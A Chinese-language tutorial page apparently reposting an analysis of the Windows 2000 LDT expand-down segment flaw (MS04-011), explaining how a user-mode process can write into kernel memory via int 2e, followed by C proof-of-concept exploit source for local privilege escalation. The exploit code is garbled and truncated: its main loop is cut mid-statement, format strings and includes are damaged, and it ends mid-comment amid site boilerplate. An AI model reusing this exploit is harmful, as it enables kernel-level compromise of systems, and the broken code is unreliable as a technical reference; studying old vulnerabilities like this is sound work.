萬盛學電腦網

 萬盛學電腦網 >> 健康知識 >> Windows 2000 LDT漏洞初探

Windows 2000 LDT漏洞初探

·最新Windows Live郵箱注冊及漏洞分析·提高警惕:WINDOWS最危險的十個漏洞·安全警報:針對Access漏洞又一發現·MacOS X存在嚴重漏洞 蘋果補救不力挨批·漏洞分析:SQL Injection技巧的演練·Windows XP的漏洞及防范篇(2)·支付寶所有版本控件均存嚴重漏洞·封殺Win XP系統共享漏洞·封殺Windows XP的共享漏洞·通過IE調用Telnet執行攻擊者代碼漏洞   1.漏洞原因  z0mbie文章裡提到在Win2k下進程可以自己添加LDT項,這可能是由於歷史原因才留在系統代碼中,因為Win2k本身並不會用到LDT.這個漏洞的核心是LDT項中Expand-Down位的設置.例子,一個LDT的Base為100,Limit為7FFFFFFF.當Expand-Down位為0時.LDT的有效范圍是: 100 ~ 7FFFFFFF.  但當Expand-Down位為1時,有效范圍是: 80000000 ~ FFFFFFFF 和 0 ~ FF,及剛好相反.在Win2k添加LDT項的檢測過程沒有考慮這一情況,導致用戶可以建立包含內核空間在內的LDT項(這其實只是一方面,GDT[23]本來就是0-FFFFFFFF,關鍵是我們可以控制LDT的基址,而內核有時假設基址為0,這樣能使其在處理內存時發生計算誤差).    2.利用原理  因為Win2k是基於頁的內存保護機制,而我們又運行在ring3態下這一事實,所以需要借助內核本身來進行越權操作.eEye的文中提到int 2e中的rep movsd指令.int 2e的使用方法:    mov eax, service_id  lea edx, service_param  int 2e    當運行rep movsd指令時:    edi為內核堆棧指針(KSP, 我機子上一般是FDxxxxxx)  esi指向service_param  ecx為參數的個數(in 32bit)    相當於memcpy (es.base edi, ds.base esi, ecx*4);    這裡service_param的內容,es寄存器都是可控的.唯一不確定的是edi及內核堆棧指針.獲得KSP一種方法是,先假設一個大約值,比如FD000000,再分配一較大內存空間(16MB)buf,利用這個漏洞將一特征碼寫入buf,最後找出特征碼在buf中的偏移量offset,計算出:    KSP精確值 = 假設值(FD000000) offset.    至於提升權限的部分,還沒找到比較通用的方法.eEye說加LDT,但LDT的地址在KSP下方,沒理解.IDT, GDT也在KSP下方.我能想到就是改Driver Dispatch Routies,通過I/O API調用.因為不是很通用這裡就不列了.如果有什麼好的方法,請告訴我.謝謝.    3.具體步驟    見代碼.另外Win2k的代碼也有了,可以和eEye的公告對照著看.      /***********************************************************  * 計算出Kernel Stack Pointer後,就能精確控制寫入的地址了.  * 要注意的是只能覆寫到KSP以上的內核空間.  ***********************************************************/    /******************************************************************  * Windows Expand-Down Data Segment Local Privilege Escalation  * [MS04-011]  *  * Bug found by: Derek Soeder  * Author: mslug ([email protected]), All rights reserved.  *   * Version: PoC 0.1  *  * Tested: Win2k pro en sp4  *  * Thanks: z0mbie's article :)  *   * Compile: cl winldt.c   *  * Date:  18 Apr 2004  *******************************************************************/      #include   #include   #include     #if 1    #define KernelStackPtr 0xFD000000 //估計值    #define BedSize     0x01000000  #else    #define KernelStackPtr 0xF0000000    #define BedSize     0x10000000  #endif    unsigned char bed[BedSize];  unsigned char pin[]="COOL";    int (*NtSetLdtEntries)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);    WORD SetupLDT(WORD seg, DWORD ldtbase);    unsigned long patch_to;    int main(int argc, char *argv[])  {    DWORD ldtbase, KSP;    int i;    HMODULE hNtdll;        if(argc        //printf("[!] Knl stack ptr : 0xX\n", KSP);       break;     }    }        if(!KSP) {     printf("[-] Can't locate Kernel stack pointer, try again\n");     return 0;    } else if (patch_to < KSP) {     printf("[-] Can only patch kernel above KSP\n");     return 0;    }        ldtbase = patch_to - KSP;      printf("[ ] Patch to   : 0xX\n", patch_to);    printf("[ ] 2nd LDT base : 0xX\n", ldtbase);      SetupLDT(0x17, ldtbase);    __asm {     push es     push 17h     pop es     mov eax, 11h     lea edx, pin     int 2eh        pop es    }        return 0;  }    WORD SetupLDT(WORD seg, DWORD ldtbase)  {    LDT_ENTRY EvilLdt;    DWORD base = ldtbase;    DWORD limit = 0;    int ret;        EvilLdt.BaseLow          = base & 0xFFFF;    EvilLdt.HighWord.Bytes.BaseMid  = base >> 16;    EvilLdt.HighWord.Bytes.BaseHi   = base >> 24;    EvilLdt.LimitLow         = (limit >> 12) & 0xFFFF;    EvilLdt.HighWord.Bits.LimitHi   = limit >> 28;    EvilLdt.HighWord.Bits.Granularity = 1;  // 0/1, if 1, limit=(limit ,自學教程,5自學網
copyright © 萬盛學電腦網 all rights reserved